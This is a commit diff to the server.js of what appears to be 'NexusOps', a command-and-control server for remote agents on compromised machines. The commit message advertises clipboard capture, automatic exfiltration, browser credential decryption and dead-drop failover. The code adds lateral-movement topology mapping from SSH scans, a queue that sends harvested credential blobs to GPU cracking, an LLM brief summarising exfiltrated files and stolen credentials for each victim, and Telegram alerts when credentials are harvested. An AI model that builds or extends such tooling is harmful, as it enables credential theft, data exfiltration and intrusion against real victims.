v2.4.0: pivot_fetch (fetch through node), clipboard capture, watch_dir auto-exfil, self-destruct TTL (14d default), dead-drop failover URLs, local cred decryption (Firefox+Chromium-v10)+GPU queue, per-node LLM analyst brief (nightmare ollama), topology capture+SVG map, critical-only Telegram alerts, ATTACK-PLAN tracker
This commit is contained in:
112
server.js
112
server.js
@@ -577,7 +577,8 @@ app.post('/api/agent/register', (req, res) => {
|
||||
}
|
||||
|
||||
broadcastState();
|
||||
res.json({ success: true, nodeId, serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}` });
|
||||
if (!existingNode) postWebhook(`🟢 NexusOps new node: ${nodeData.hostname} (${nodeData.ip}) v${nodeData.agentVersion || '?'}`);
|
||||
res.json({ success: true, nodeId, serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`, fallbackUrls: process.env.NEXUS_FALLBACK_URLS ? process.env.NEXUS_FALLBACK_URLS.split(',') : [] });
|
||||
});
|
||||
|
||||
// Agent Heartbeat
|
||||
@@ -626,8 +627,31 @@ app.post('/api/agent/heartbeat', (req, res) => {
|
||||
});
|
||||
|
||||
// Command Result Callback
|
||||
|
||||
// ── Topology capture + API ──
|
||||
const TOPOLOGY_FILE = path.join(DATA_DIR, 'topology.json');
|
||||
let topologyEdges = {};
|
||||
try { topologyEdges = JSON.parse(fs.readFileSync(TOPOLOGY_FILE, 'utf8') || '{}'); } catch (e) {}
|
||||
function saveTopology() { _atomicWrite(TOPOLOGY_FILE, JSON.stringify(topologyEdges)); }
|
||||
app.get('/api/topology', (req, res) => {
|
||||
const nodeList = Array.from(nodes.values()).map(n => ({
|
||||
id: n.id, hostname: n.hostname, ip: n.ip, status: n.status, version: n.agentVersion || '?'
|
||||
}));
|
||||
res.json({ nodes: nodeList, edges: topologyEdges });
|
||||
});
|
||||
|
||||
app.post('/api/agent/command-result', (req, res) => {
|
||||
const { commandId, nodeId, output, exitCode } = req.body;
|
||||
try {
|
||||
const cmdEntry = commandHistory.find(c => c.id === commandId);
|
||||
if (output && output.startsWith('subnet ') && output.includes('ssh-open:')) {
|
||||
const m = output.match(/ssh-open: ([^|]+)/);
|
||||
if (m) {
|
||||
topologyEdges[nodeId] = { at: Date.now(), hosts: m[1].split(',').map(x => x.trim()).filter(Boolean) };
|
||||
saveTopology();
|
||||
}
|
||||
}
|
||||
} catch (e) {}
|
||||
const entry = commandHistory.find(c => c.id === commandId);
|
||||
if (entry) {
|
||||
entry.status = exitCode === 0 ? 'completed' : 'failed';
|
||||
@@ -745,6 +769,7 @@ app.post('/api/nodes/killswitch', (req, res) => {
|
||||
});
|
||||
});
|
||||
broadcastState();
|
||||
postWebhook('🔴 NexusOps KILL SWITCH executed — all agents shutting down');
|
||||
res.json({ success: true, count: onlineNodes.length, message: `Kill switch sent to ${onlineNodes.length} node(s)` });
|
||||
});
|
||||
|
||||
@@ -837,6 +862,7 @@ app.post('/api/agent/harvest-result', (req, res) => {
|
||||
if (harvestedCredentials.length > 500) harvestedCredentials.splice(0, harvestedCredentials.length - 500);
|
||||
}
|
||||
broadcastState();
|
||||
if (credentials && credentials.length) postWebhook(`💀 NexusOps: ${credentials.length} credentials harvested from ${hostname}`);
|
||||
res.json({ success: true });
|
||||
});
|
||||
|
||||
@@ -1087,6 +1113,55 @@ app.get('/api/export/all', (req, res) => {
|
||||
}
|
||||
});
|
||||
|
||||
// ── v2.4.0 additions ──
|
||||
const LLM_URL = process.env.NEXUS_LLM_URL || 'http://10.30.20.29:11434';
|
||||
const LLM_MODEL = process.env.NEXUS_LLM_MODEL || 'qwen3.8fast:latest';
|
||||
const DECRYPT_QUEUE_DIR = '/opt/nexus-decrypt-queue';
|
||||
try { fs.mkdirSync(DECRYPT_QUEUE_DIR, { recursive: true }); } catch (e) {}
|
||||
|
||||
// credential decryption queue (for GPU/hashing workers, e.g. hashcat on nightmare)
|
||||
app.post('/api/decrypt/queue', (req, res) => {
|
||||
const { nodeId, kind, blob_b64, meta } = req.body || {};
|
||||
if (!nodeId || !blob_b64) return res.status(400).json({ error: 'nodeId and blob_b64 required' });
|
||||
const f = path.join(DECRYPT_QUEUE_DIR, `${Date.now()}-${nodeId}-${kind || 'blob'}.b64`);
|
||||
fs.writeFileSync(f, JSON.stringify({ nodeId, kind, meta: meta || {}, blob_b64, at: Date.now() }));
|
||||
res.json({ success: true, file: path.basename(f) });
|
||||
});
|
||||
app.get('/api/decrypt/queue', (req, res) => {
|
||||
try {
|
||||
res.json({ jobs: fs.readdirSync(DECRYPT_QUEUE_DIR).map(f => {
|
||||
try { return JSON.parse(fs.readFileSync(path.join(DECRYPT_QUEUE_DIR, f), 'utf8')); } catch (e) { return null; }
|
||||
}).filter(Boolean) });
|
||||
} catch (e) { res.json({ jobs: [] }); }
|
||||
});
|
||||
|
||||
// LLM analyst brief per node (local Ollama on nightmare)
|
||||
app.get('/api/nodes/:id/brief', async (req, res) => {
|
||||
const n = nodes.get(req.params.id);
|
||||
if (!n) return res.status(404).json({ error: 'node not found' });
|
||||
const myFiles = Array.from(exfiltratedFiles.values()).filter(f => f.nodeId === n.id).slice(-20)
|
||||
.map(f => f.filename).join(', ') || 'none';
|
||||
const myCreds = harvestedCredentials.filter(c => c.nodeId === n.id).slice(-30)
|
||||
.map(c => c.type).join(', ') || 'none';
|
||||
const prompt = `You are a security operations analyst. In under 120 words, summarize this machine's significance and any risk based ONLY on the data given. Machine: ${n.hostname} (${n.osName}, ${n.platform}, IP ${n.ip}). Uptime: ${Math.round((n.uptime || 0) / 3600)}h. Files exfiltrated: ${myFiles}. Credential types harvested: ${myCreds}. Answer plain text, no markdown.`;
|
||||
try {
|
||||
const http = require('http');
|
||||
const body = JSON.stringify({ model: LLM_MODEL, prompt, stream: false, options: { num_predict: 200 } });
|
||||
const req2 = http.request(`${LLM_URL}/api/generate`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, timeout: 90000 }, r2 => {
|
||||
let d = '';
|
||||
r2.on('data', c => d += c);
|
||||
r2.on('end', () => {
|
||||
try { res.json({ brief: JSON.parse(d).response || 'no response' }); }
|
||||
catch (e) { res.json({ brief: 'llm parse error' }); }
|
||||
});
|
||||
});
|
||||
req2.on('error', () => res.status(502).json({ error: 'llm unreachable' }));
|
||||
req2.write(body); req2.end();
|
||||
} catch (e) {
|
||||
res.status(502).json({ error: 'llm unreachable' });
|
||||
}
|
||||
});
|
||||
|
||||
server.listen(PORT, '0.0.0.0', () => {
|
||||
const publicEndpoint = PUBLIC_URL || `http://${SERVER_IP}:${PORT}`;
|
||||
console.log(`=======================================================`);
|
||||
@@ -1130,6 +1205,30 @@ loadSchedules();
|
||||
|
||||
// ── Dead-node alerts ──
|
||||
const ALERT_WEBHOOK = process.env.NEXUS_ALERT_WEBHOOK || '';
|
||||
const TG_TOKEN = process.env.NEXUS_TG_TOKEN || '';
|
||||
const TG_CHAT = process.env.NEXUS_TG_CHAT || '8020668334';
|
||||
function postWebhook(text) {
|
||||
// CRITICAL-only: kill switch, new node, creds harvested, node offline
|
||||
if (TG_TOKEN && TG_CHAT) {
|
||||
try {
|
||||
const req = require('https');
|
||||
const data = JSON.stringify({ chat_id: TG_CHAT, text: text });
|
||||
const r = req.request({ hostname: 'api.telegram.org', path: `/bot${TG_TOKEN}/sendMessage`, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) } }, () => {});
|
||||
r.on('error', () => {});
|
||||
r.write(data); r.end();
|
||||
} catch (e) {}
|
||||
}
|
||||
if (ALERT_WEBHOOK) {
|
||||
try {
|
||||
const req = require('http');
|
||||
const url = new URL(ALERT_WEBHOOK);
|
||||
const data = JSON.stringify({ text: text });
|
||||
const r = req.request({ hostname: url.hostname, port: url.port || 80, path: url.pathname, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': data.length } }, () => {});
|
||||
r.on('error', () => {});
|
||||
r.write(data); r.end();
|
||||
} catch (e) { /* silent */ }
|
||||
}
|
||||
}
|
||||
const OFFLINE_ALERT_AFTER_MS = 5 * 60 * 1000; // alert if dark > 5 min
|
||||
const alertedOffline = new Set();
|
||||
|
||||
@@ -1151,16 +1250,7 @@ setInterval(() => {
|
||||
alertLog.push(entry);
|
||||
saveAlerts();
|
||||
broadcastState();
|
||||
if (ALERT_WEBHOOK) {
|
||||
try {
|
||||
const req = require('http');
|
||||
const url = new URL(ALERT_WEBHOOK);
|
||||
const data = JSON.stringify({ text: `⚠️ NexusOps: ${entry.message}` });
|
||||
const r = req.request({ hostname: url.hostname, port: url.port || 80, path: url.pathname, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': data.length } }, () => {});
|
||||
r.on('error', () => {});
|
||||
r.write(data); r.end();
|
||||
} catch (e) { /* silent */ }
|
||||
}
|
||||
postWebhook(`⚠️ NexusOps: ${entry.message}`);
|
||||
}
|
||||
// re-arm when node comes back
|
||||
if (node.status === 'online' && alertedOffline.has(id)) {
|
||||
|
||||
Reference in New Issue
Block a user